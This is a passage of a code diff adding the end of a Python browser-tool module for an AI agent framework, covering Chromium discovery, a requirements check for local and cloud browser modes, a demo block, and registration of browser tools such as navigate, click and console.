+ _agent_browser_resolved = False
3356
+ _discover_homebrew_node_dirs.cache_clear()
3357
+ _cached_command_timeout = None
3358
+ _command_timeout_resolved = False
3359
+ _cached_chromium_installed = None
3360
+ _cached_browser_engine = None
3361
+ _browser_engine_resolved = False
3362
+
3363
+ # ============================================================================
3364
+ # Requirements Check
3365
+ # ============================================================================
3366
+
3367
+
3368
+ # Cache for Chromium discovery. Invalidated by _reset_browser_caches.
3369
+ _cached_chromium_installed: Optional[bool] = None
3370
+
3371
+
3372
+ def _chromium_search_roots() -> List[str]:
3373
+ """Directories to scan for a Chromium / headless-shell build.
3374
+
3375
+ Order mirrors what agent-browser and Playwright actually probe:
3376
+
3377
+ 1. ``PLAYWRIGHT_BROWSERS_PATH`` when set (Docker image sets this to
3378
+ ``/opt/hermes/.playwright``).
3379
+ 2. ``~/.cache/ms-playwright`` — Playwright's default on Linux/macOS.
3380
+ 3. ``~/Library/Caches/ms-playwright`` — Playwright's default on macOS.
3381
+ 4. ``%USERPROFILE%\\AppData\\Local\\ms-playwright`` — Playwright's default
3382
+ on Windows.
3383
+ """
3384
+ roots: List[str] = []
3385
+ env_path = os.environ.get("PLAYWRIGHT_BROWSERS_PATH", "").strip()
3386
+ if env_path and env_path != "0":
3387
+ roots.append(env_path)
3388
+ home = os.path.expanduser("~")
3389
+ roots.append(os.path.join(home, ".cache", "ms-playwright"))
3390
+ if sys.platform == "darwin":
3391
+ roots.append(os.path.join(home, "Library", "Caches", "ms-playwright"))
3392
+ if sys.platform == "win32":
3393
+ local = os.environ.get("LOCALAPPDATA") or os.path.join(
3394
+ home, "AppData", "Local"
3395
+ )
3396
+ roots.append(os.path.join(local, "ms-playwright"))
3397
+ return roots
3398
+
3399
+
3400
+ def _chromium_installed() -> bool:
3401
+ """Return True when a usable Chromium (or headless-shell) build is on disk.
3402
+
3403
+ Checks, in order:
3404
+
3405
+ 1. ``AGENT_BROWSER_EXECUTABLE_PATH`` env var — the official way to point
3406
+ agent-browser at a pre-installed Chrome/Chromium.
3407
+ 2. System Chrome/Chromium in PATH (``google-chrome``, ``chromium``,
3408
+ ``chromium-browser``, ``chrome``).
3409
+ 3. Playwright's browser cache (current logic) — directories containing
3410
+ ``chromium-*`` or ``chromium_headless_shell-*``.
3411
+
3412
+ agent-browser (0.26+) downloads Playwright's chromium / headless-shell
3413
+ builds into ``PLAYWRIGHT_BROWSERS_PATH`` and won't start without at least
3414
+ one of the three above being present. Without a browser binary the CLI
3415
+ hangs on first use until the command timeout fires (often ~30s). Guarding
3416
+ the tool behind this check prevents advertising a capability that will
3417
+ fail at runtime.
3418
+ """
3419
+ global _cached_chromium_installed
3420
+ if _cached_chromium_installed is not None:
3421
+ return _cached_chromium_installed
3422
+
3423
+ # 1. AGENT_BROWSER_EXECUTABLE_PATH — explicit user-configured browser
3424
+ ab_path = os.environ.get("AGENT_BROWSER_EXECUTABLE_PATH", "").strip()
3425
+ if ab_path:
3426
+ if os.path.isfile(ab_path) or shutil.which(ab_path):
3427
+ _cached_chromium_installed = True
3428
+ return True
3429
+
3430
+ # 2. System Chrome/Chromium in PATH (common names)
3431
+ system_chrome = (
3432
+ shutil.which("google-chrome")
3433
+ or shutil.which("chromium")
3434
+ or shutil.which("chromium-browser")
3435
+ or shutil.which("chrome")
3436
+ )
3437
+ if system_chrome:
3438
+ _cached_chromium_installed = True
3439
+ return True
3440
+
3441
+ # 3. Playwright browser cache (legacy — chromium-* / chromium_headless_shell-* dirs)
3442
+ for root in _chromium_search_roots():
3443
+ if not root or not os.path.isdir(root):
3444
+ continue
3445
+ try:
3446
+ entries = os.listdir(root)
3447
+ except OSError:
3448
+ continue
3449
+ # Playwright names them ``chromium-<build>`` and
3450
+ # ``chromium_headless_shell-<build>``; agent-browser accepts either.
3451
+ for entry in entries:
3452
+ if entry.startswith("chromium-") or entry.startswith(
3453
+ "chromium_headless_shell-"
3454
+ ):
3455
+ _cached_chromium_installed = True
3456
+ return True
3457
+
3458
+ _cached_chromium_installed = False
3459
+ return False
3460
+
3461
+
3462
+ def _running_in_docker() -> bool:
3463
+ """Best-effort detection of whether we're inside a Docker container."""
3464
+ if os.path.exists("/.dockerenv"):
3465
+ return True
3466
+ try:
3467
+ with open("/proc/1/cgroup", "rt", encoding="utf-8") as fp:
3468
+ return "docker" in fp.read()
3469
+ except OSError:
3470
+ return False
3471
+
3472
+
3473
+ def check_browser_requirements() -> bool:
3474
+ """
3475
+ Check if browser tool requirements are met.
3476
+
3477
+ In **local mode** (no cloud provider configured): the ``agent-browser``
3478
+ CLI must be findable. Chrome/Chromium is required for the default Chrome
3479
+ engine and for fallback/screenshot paths, but not for Lightpanda-only text
3480
+ navigation/snapshot workflows.
3481
+
3482
+ In **cloud mode** (Browserbase, Browser Use, or Firecrawl): the CLI
3483
+ and the provider's required credentials must be present. The cloud
3484
+ provider hosts its own Chromium, so no local browser binary is needed.
3485
+
3486
+ Returns:
3487
+ True if all requirements are met, False otherwise
3488
+ """
3489
+ # Camofox backend — only needs the server URL, no agent-browser CLI
3490
+ if _is_camofox_mode():
3491
+ return True
3492
+
3493
+ # CDP override mode can connect to an existing remote/local browser endpoint
3494
+ # without requiring the local agent-browser binary on PATH.
3495
+ if _get_cdp_override():
3496
+ return True
3497
+
3498
+ # The agent-browser CLI is required for local launch and cloud-provider flows.
3499
+ try:
3500
+ browser_cmd = _find_agent_browser()
3501
+ except FileNotFoundError:
3502
+ return False
3503
+
3504
+ # On Termux, the bare npx fallback is too fragile to treat as a satisfied
3505
+ # local browser dependency. Require a real install (global or local) so the
3506
+ # browser tool is not advertised as available when it will likely fail on
3507
+ # first use.
3508
+ if _requires_real_termux_browser_install(browser_cmd):
3509
+ return False
3510
+
3511
+ # In cloud mode, also require provider credentials. Cloud browsers
3512
+ # don't need a local Chromium binary.
3513
+ provider = _get_cloud_provider()
3514
+ if provider is not None:
3515
+ return provider.is_configured()
3516
+
3517
+ # Local mode with Lightpanda can provide text/navigation tools without a
3518
+ # local Chromium install. Chrome fallback, screenshots, and browser_vision
3519
+ # will still return actionable Chromium install errors if invoked.
3520
+ if _using_lightpanda_engine():
3521
+ return True
3522
+
3523
+ # Local Chrome mode: agent-browser needs a Chromium build on disk. Without
3524
+ # it the CLI hangs on first use until the command timeout fires.
3525
+ if not _chromium_installed():
3526
+ return False
3527
+
3528
+ return True
3529
+
3530
+
3531
+ # ============================================================================
3532
+ # Module Test
3533
+ # ============================================================================
3534
+
3535
+ if __name__ == "__main__":
3536
+ """
3537
+ Simple test/demo when run directly
3538
+ """
3539
+ print("🌐 Browser Tool Module")
3540
+ print("=" * 40)
3541
+
3542
+ _cp = _get_cloud_provider()
3543
+ mode = "local" if _cp is None else f"cloud ({_cp.provider_name()})"
3544
+ print(f" Mode: {mode}")
3545
+
3546
+ # Check requirements
3547
+ if check_browser_requirements():
3548
+ print("āœ… All requirements met")
3549
+ else:
3550
+ print("āŒ Missing requirements:")
3551
+ try:
3552
+ browser_cmd = _find_agent_browser()
3553
+ if _requires_real_termux_browser_install(browser_cmd):
3554
+ print(" - bare npx fallback found (insufficient on Termux local mode)")
3555
+ print(f" Install: {_browser_install_hint()}")
3556
+ elif _cp is None and not _chromium_installed():
3557
+ print(" - Chromium browser binary not found")
3558
+ searched = ", ".join(_chromium_search_roots()) or "(no candidate paths)"
3559
+ print(f" Searched: {searched}")
3560
+ if _running_in_docker():
3561
+ print(
3562
+ " Docker: pull the latest image — the current one "
3563
+ "predates the bundled Chromium install"
3564
+ )
3565
+ print(" docker pull ghcr.io/nousresearch/hermes-agent:latest")
3566
+ else:
3567
+ print(" Install it with:")
3568
+ print(" npx agent-browser install --with-deps")
3569
+ print(" Or: npx playwright install --with-deps chromium")
3570
+ except FileNotFoundError:
3571
+ print(" - agent-browser CLI not found")
3572
+ print(f" Install: {_browser_install_hint()}")
3573
+ if _cp is not None and not _cp.is_configured():
3574
+ print(f" - {_cp.provider_name()} credentials not configured")
3575
+ print(" Tip: set browser.cloud_provider to 'local' to use free local mode instead")
3576
+
3577
+ print("\nšŸ“‹ Available Browser Tools:")
3578
+ for schema in BROWSER_TOOL_SCHEMAS:
3579
+ print(f" šŸ”¹ {schema['name']}: {schema['description'][:60]}...")
3580
+
3581
+ print("\nšŸ’” Usage:")
3582
+ print(" from tools.browser_tool import browser_navigate, browser_snapshot")
3583
+ print(" result = browser_navigate('https://example.com', task_id='my_task')")
3584
+ print(" snapshot = browser_snapshot(task_id='my_task')")
3585
+
3586
+
3587
+ # ---------------------------------------------------------------------------
3588
+ # Registry
3589
+ # ---------------------------------------------------------------------------
3590
+ from tools.registry import registry, tool_error
3591
+
3592
+ _BROWSER_SCHEMA_MAP = {s["name"]: s for s in BROWSER_TOOL_SCHEMAS}
3593
+
3594
+ registry.register(
3595
+ name="browser_navigate",
3596
+ toolset="browser",
3597
+ schema=_BROWSER_SCHEMA_MAP["browser_navigate"],
3598
+ handler=lambda args, **kw: browser_navigate(url=args.get("url", ""), task_id=kw.get("task_id")),
3599
+ check_fn=check_browser_requirements,
3600
+ emoji="🌐",
3601
+ )
3602
+ registry.register(
3603
+ name="browser_snapshot",
3604
+ toolset="browser",
3605
+ schema=_BROWSER_SCHEMA_MAP["browser_snapshot"],
3606
+ handler=lambda args, **kw: browser_snapshot(
3607
+ full=args.get("full", False), task_id=kw.get("task_id"), user_task=kw.get("user_task")),
3608
+ check_fn=check_browser_requirements,
3609
+ emoji="šŸ“ø",
3610
+ )
3611
+ registry.register(
3612
+ name="browser_click",
3613
+ toolset="browser",
3614
+ schema=_BROWSER_SCHEMA_MAP["browser_click"],
3615
+ handler=lambda args, **kw: browser_click(ref=args.get("ref", ""), task_id=kw.get("task_id")),
3616
+ check_fn=check_browser_requirements,
3617
+ emoji="šŸ‘†",
3618
+ )
3619
+ registry.register(
3620
+ name="browser_type",
3621
+ toolset="browser",
3622
+ schema=_BROWSER_SCHEMA_MAP["browser_type"],
3623
+ handler=lambda args, **kw: browser_type(ref=args.get("ref", ""), text=args.get("text", ""), task_id=kw.get("task_id")),
3624
+ check_fn=check_browser_requirements,
3625
+ emoji="āŒØļø",
3626
+ )
3627
+ registry.register(
3628
+ name="browser_scroll",
3629
+ toolset="browser",
3630
+ schema=_BROWSER_SCHEMA_MAP["browser_scroll"],
3631
+ handler=lambda args, **kw: browser_scroll(direction=args.get("direction", "down"), task_id=kw.get("task_id")),
3632
+ check_fn=check_browser_requirements,
3633
+ emoji="šŸ“œ",
3634
+ )
3635
+ registry.register(
3636
+ name="browser_back",
3637
+ toolset="browser",
3638
+ schema=_BROWSER_SCHEMA_MAP["browser_back"],
3639
+ handler=lambda args, **kw: browser_back(task_id=kw.get("task_id")),
3640
+ check_fn=check_browser_requirements,
3641
+ emoji="ā—€ļø",
3642
+ )
3643
+ registry.register(
3644
+ name="browser_press",
3645
+ toolset="browser",
3646
+ schema=_BROWSER_SCHEMA_MAP["browser_press"],
3647
+ handler=lambda args, **kw: browser_press(key=args.get("key", ""), task_id=kw.get("task_id")),
3648
+ check_fn=check_browser_requirements,
3649
+ emoji="āŒØļø",
3650
+ )
3651
+
3652
+ registry.register(
3653
+ name="browser_get_images",
3654
+ toolset="browser",
3655
+ schema=_BROWSER_SCHEMA_MAP["browser_get_images"],
3656
+ handler=lambda args, **kw: browser_get_images(task_id=kw.get("task_id")),
3657
+ check_fn=check_browser_requirements,
3658
+ emoji="šŸ–¼ļø",
3659
+ )
3660
+ registry.register(
3661
+ name="browser_vision",
3662
+ toolset="browser",
3663
+ schema=_BROWSER_SCHEMA_MAP["browser_vision"],
3664
+ handler=lambda args, **kw: browser_vision(question=args.get("question", ""), annotate=args.get("annotate", False), task_id=kw.get("task_id")),
3665
+ check_fn=check_browser_requirements,
3666
+ emoji="šŸ‘ļø",
3667
+ )
3668
+ registry.register(
3669
+ name="browser_console",
3670
+ toolset="browser",
3671
+ schema=_BROWSER_SCHEMA_MAP["browser_console"],
3672
+ handler=lambda args, **kw: browser_console(clear=args.get("clear", False), expression=args.get("expression"), task_id=kw.get("task_id")),
3673
+ check_fn=check_browser_requirements,
3674
+ emoji="šŸ–„ļø",
3675
+ )
3676
+